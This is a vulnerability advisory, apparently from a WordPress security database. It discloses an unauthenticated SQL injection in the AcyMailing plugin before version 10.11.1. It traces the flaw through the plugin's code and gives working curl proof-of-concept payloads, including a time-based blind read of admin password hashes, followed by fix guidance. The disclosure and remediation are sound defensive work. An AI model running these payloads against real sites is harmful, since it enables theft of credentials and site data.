WordPress Plugin Vulnerabilities

AcyMailing < 10.11.1 - Unauthenticated SQL Injection via subscription[] Parameter

Description

## Summary

AcyMailing exposes a front-end controller router (`?page=acymailing_front`) whose
`FrontusersController` declares a set of **public** tasks
(`$this->publicFrontTasks`) that run for anonymous visitors, including
`subscribe` and `unsubscribe` (`front/FrontControllers/FrontusersController.php:34-46`).

The `unsubscribe` task reads the list ids to unsubscribe from the request array
`subscription[]` and passes them, unmodified, into `UserClass::unsubscribe()`,
which builds a raw `DELETE` statement by imploding that array directly into a
SQL `IN()` clause:

```php
// back/Classes/UserClass.php:718-723
acym_query(
'DELETE FROM #__acym_queue WHERE user_id = '.intval($userId).' AND mail_id IN (
SELECT followup_mail.mail_id FROM #__acym_followup_has_mail AS followup_mail
JOIN #__acym_followup AS followup ON followup.id = followup_mail.followup_id AND followup.list_id IN ('.implode(',', $lists).')
)'
);
```

`$lists` is the attacker-controlled `subscription[]` array. It is **not** passed
through integer coercion before the implode - even though the two sibling methods
that build the identical `IN()` clause both call `acym_arrayToInteger()` first:

```php
// back/Classes/UserClass.php:759 (unsubscribeOnSubscriptions) and :774 (removeSubscription)
acym_arrayToInteger($listIds);
... 'AND list_id IN ('.implode(',', $listIds).')' ...
```

The value survives the plugin's generic request sanitizer intact:
`acym_getVar('array', 'subscription', [])` casts to array, runs
`acym_stripslashes()` (which **removes** the slashes WordPress adds via magic
quotes) and then `acym_cleanVar($v, 'array', 0)` - and `acym_cleanVar` has **no
`array` or `int` case**: for each element it only `trim()`s and strips HTML tags
(`back/Core/wordpress/security.php:64-118`). A payload such as
`0) UNION SELECT SLEEP(5) FROM DUAL WHERE 1 OR (1` therefore reaches
`$wpdb->query()` byte-for-byte. `acym_query()` performs no escaping - it only
substitutes the `#__` table prefix (`back/Core/wordpress/database.php:12-20,44-54`).

Because the `subscription[]` values land in a **numeric** `IN()` context and the
quotes-based defence (magic quotes) is explicitly undone, this is a clean,
quote-free SQL injection reachable **without authentication** (the attacker
self-registers a subscriber through the equally-public `subscribe` task, which is
allowed by the default `allow_visitor = 1`, and the default `captcha = none`
means no challenge).

No prior vulnerability matches this: AcyMailing's published advisories are
Subscriber+ privilege escalation (fixed 10.8.2 / 10.9.0), reflected XSS, an open
redirect, and a Subscriber+ file upload; the only listed SQL injection
(CVE-2026-3396) is against the legacy 4.x code line, not this v10 WordPress
plugin (checked Patchstack, WPScan and public CVE sources).

## CVSS

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N` = **8.2 (High)**

- **AV:N / AC:L / PR:N / UI:N** - a single unauthenticated POST to the public
front router; the attacker self-registers the required subscriber via the
public `subscribe` task first.
- **C:H** - blind SQL injection allows reading any data in the WordPress database,
including `wp_users.user_pass` hashes and secret keys/tokens stored in
`wp_options`.
- **I:L** - the injection sits inside a `DELETE`; the primary impact is read via
blind sub-selects, with limited integrity effect on the queue table.
- **A:N**.

CWE-89 (SQL Injection). OWASP Top 10 2021: A03 Injection.

Realistic exploitation precondition (see Notes): the injected sub-select is
evaluated only when the attacker's subscriber has at least one row in the send
queue (`#__acym_queue`) - the normal state on an active newsletter site, and one
the attacker can arrange by subscribing to a list that has a welcome / follow-up
autoresponder. This does not change the vector but is called out honestly.

## Affected

| Item | Value |
| --- | --- |
| Plugin slug | `acymailing` |
| Plugin name | AcyMailing (Newsletter, Email Marketing, Automation, SMTP) |
| Affected versions | <= 10.11.0 (current release at time of writing) |
| Tested version | 10.11.0 |
| Active installs | 7,000+ |
| Auth | Unauthenticated (attacker self-registers a subscriber via the public `subscribe` task) |
| Preconditions | Defaults `allow_visitor = 1`, `captcha = none`; and >= 1 queued message (`#__acym_queue`) for the attacker's subscriber (welcome / follow-up / scheduled campaign). |

Vulnerable source (line numbers refer to `acymailing.10.11.0.zip`):

- `front/FrontControllers/FrontusersController.php:34-46` - `unsubscribe` (and `subscribe`) declared in `$this->publicFrontTasks`
- `front/FrontControllers/FrontusersController.php:208-211,247` - `unsubscribeDirectly()` reads `subscription[]`, merges, calls `UserClass::unsubscribe([$id], $unsubscribeLists)`
- `back/Classes/UserClass.php:651,684-712` - `unsubscribe()`; the per-list loop validates entries but the sink uses the raw array
- `back/Classes/UserClass.php:718-723` - **the vulnerable `DELETE` with `implode(',', $lists)`** (no `acym_arrayToInteger`)
- `back/Classes/UserClass.php:759,774` - sibling methods that DO call `acym_arrayToInteger()` before the same `IN()` implode
- `back/Core/wordpress/security.php:5-48` - `acym_getVar()` (array path: stripslashes + cleanVar)
- `back/Core/wordpress/security.php:64-118` - `acym_cleanVar()` (no int/array coercion)
- `back/Core/wordpress/database.php:12-20,44-54` - `acym_query()` / `acym_prepareQuery()` (no escaping)

## Technical Details

### Public, unauthenticated entry point

```php
// front/FrontControllers/FrontusersController.php:34-46 (trimmed)
$this->publicFrontTasks = [
'subscribe',
'unsubscribe',
...
];
```

`subscribe` (default `allow_visitor = 1`) lets an anonymous visitor create a
subscriber row; `unsubscribe` then reaches the injection.

### The attacker-controlled array flows in unsanitised

```php
// front/FrontControllers/FrontusersController.php:208-211,247 (unsubscribeDirectly)
$visibleSubscription = acym_getVar('array', 'subscription', []); // ATTACKER
$hiddenLists = trim(acym_getVar('string', 'hiddenlists', ''));
...
$unsubscribeLists = array_merge($visibleSubscription, $hiddenSubscription);
...
} elseif (false === $userClass->unsubscribe([$alreadyExists->id], $unsubscribeLists)) {
```

```php
// back/Core/wordpress/security.php:40-48 (acym_getVar, array branch)
if ($type === 'array') { $result = (array)$result; }
if (in_array($source, ['POST', 'REQUEST', 'GET', 'COOKIE'])) {
$result = acym_stripslashes($result); // UNDOES WP magic quotes
}
return acym_cleanVar($result, $type, $mask);
```

```php
// back/Core/wordpress/security.php:64-97 (acym_cleanVar - no 'array'/'int' case)
function acym_cleanVar($var, $type, $mask) {
if (is_array($var)) {
foreach ($var as $i => $val) { $var[$i] = acym_cleanVar($val, $type, $mask); }
return $var;
}
switch ($type) {
case 'string': $var = strval($var); break;
case 'int': $var = intval($var); break;
...
default: break; // 'array' hits default -> NO coercion
}
... // only trim() + strip HTML tags below
}
```

### The sink: raw implode into a numeric `IN()`

```php
// back/Classes/UserClass.php:718-723
acym_query(
'DELETE FROM #__acym_queue WHERE user_id = '.intval($userId).' AND mail_id IN (
SELECT followup_mail.mail_id FROM #__acym_followup_has_mail AS followup_mail
JOIN #__acym_followup AS followup ON followup.id = followup_mail.followup_id AND followup.list_id IN ('.implode(',', $lists).') // INJECTION
)'
);
```

```php
// back/Core/wordpress/database.php:12-20 + 44-54 (acym_query -> raw $wpdb->query)
function acym_query(string $query) {
global $wpdb;
$query = acym_prepareQuery($query); // only str_replace('#__', $wpdb->prefix, ...)
$result = $wpdb->query($query); // NO prepare / escaping
...
}
```

The DELETE runs once per resolved `$userId` (the attacker's own subscriber),
independently of whether the injected value matched a subscribed list, so the
injected sub-select is executed whenever the queue holds a row for that user.

## Proof of Concept

```bash
# 1) anonymously self-register a subscriber (default allow_visitor=1, captcha=none)
curl -sS 'https://victim.example/?page=acymailing_front' \
-d ctrl=frontusers -d task=subscribe -d ajax=1 \
--data-urlencode 'user[email]=attacker@evil.test' --data-urlencode 'subscription[1]=1'

# 2) time-based blind SQLi through subscription[] on the unsubscribe task
curl -sS 'https://victim.example/?page=acymailing_front' \
-d ctrl=frontusers -d task=unsubscribe -d ajax=1 \
--data-urlencode 'user[email]=attacker@evil.test' \
--data-urlencode 'subscription[0]=0) UNION SELECT SLEEP(5) FROM DUAL WHERE 1 OR (1'
# -> the response is delayed ~5s

# 3) blind read of the admin password hash (delay => first char is '$')
curl -sS 'https://victim.example/?page=acymailing_front' \
-d ctrl=frontusers -d task=unsubscribe -d ajax=1 \
--data-urlencode 'user[email]=attacker@evil.test' \
--data-urlencode "subscription[0]=0) UNION SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1),1,1))=36,SLEEP(5),0) FROM DUAL WHERE 1 OR (1"
```

The injected string becomes
`... followup.list_id IN (0) UNION SELECT SLEEP(5) FROM DUAL WHERE 1 OR (1)` -
the parentheses balance against the query's own trailing `)`, the `UNION SELECT`
column count matches the single-column sub-select, and `SLEEP()` executes.

### Automated harness

```
docker-compose.yml # WordPress 7.0 + MariaDB + wp-cli, port 8113
poc.sh # anon subscribe -> queue precondition -> baseline vs SLEEP -> blind read of wp_users.user_pass
```

```bash
chmod +x poc.sh && ./poc.sh
```

Observed (`baseline 0.043s` vs `SLEEP(5) 5.04s`):

```
[PASS] acymailing version pinned to 10.11.0
[PASS] AcyMailing tables installed (wp_acym_user present)
[PASS] anonymous subscribe created AcyMailing user row (id=1) - no auth required
[PASS] subscriber has a queued message (#__acym_queue rows=1) - the normal followup/campaign state the unsubscribe DELETE processes
[PASS] UNAUTH TIME-BASED SQLi: SLEEP(5) delayed the anonymous response by 5.00s (>= 4s) - the subscription[] value is executed as SQL
[PASS] UNAUTH DATA EXFIL: the boolean predicate on wp_users.user_pass returned TRUE via SLEEP (5.07s delay) - anonymous read of WordPress password-hash bytes confirmed
[PASS] control: FALSE predicate did NOT delay (-0.02s) - the delay is caused by the injected predicate, not by load
7 PASS, 0 FAIL
```

## Why This Matters

- **Full database read, unauthenticated.** Blind sub-selects let an anonymous
attacker exfiltrate any table - `wp_users` password hashes, `wp_options` secret
keys / API tokens, subscriber PII - one boolean/time probe at a time.
- **Credential theft and account takeover.** Extracting `user_pass` hashes enables
offline cracking; extracting auth-related secrets can enable session/nonce
forgery.
- **Large, active install base.** 7,000+ sites run AcyMailing precisely to send
campaigns, so the queue precondition is the ordinary operating state.

Attack scenario: the attacker (1) POSTs `task=subscribe` to create a subscriber,
(2) if needed, subscribes to a list with a follow-up so the queue holds a message
for them, then (3) POSTs `task=unsubscribe` with a `subscription[]` boolean/time
payload and reads the database byte-by-byte from the response latency.

## Remediation

1. **Coerce the list ids to integers before the implode**, exactly as the sibling
methods already do:

```php
// back/Classes/UserClass.php, at the top of unsubscribe()
acym_arrayToInteger($lists); // same guard as unsubscribeOnSubscriptions()/removeSubscription()
```

With `$lists` reduced to integers, the `IN()` implode is safe.

2. Defence in depth: build the `DELETE`'s sub-select with `$wpdb->prepare()` and
`%d` placeholders, and have `acym_getVar('array', ...)` apply an element type
(e.g. an `int` element mask) so array parameters are coerced by default.

3. Require the per-user unsubscribe key / a nonce on the `unsubscribe` task so the
action cannot be driven purely from an anonymous self-registered account.

## Notes

- The `subscribe` and `unsubscribe` tasks are unauthenticated by design; the fix
is input coercion at the sink, not adding authentication.
- Exploitation observes the injection through blind channels (time / boolean); the
`unsubscribe` JSON response does not echo query results. The injected sub-select
is evaluated when the attacker's subscriber has >= 1 row in `#__acym_queue`
(a queued campaign or a welcome / follow-up autoresponder message) - the normal
state on an active newsletter site and one the attacker can arrange by
subscribing to a list with a follow-up configured. The harness seeds one queue
row to represent this state.

Proof of Concept

Affects Plugins

Fixed in 10.11.1

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Pedro Pinho
Submitter
Pedro Pinho
Verified
Yes

Timeline

Publicly Published
2026-07-20 (about 13 days ago)
Added
2026-07-20 (about 12 days ago)
Last Updated
2026-07-31 (about 1 day ago)

Other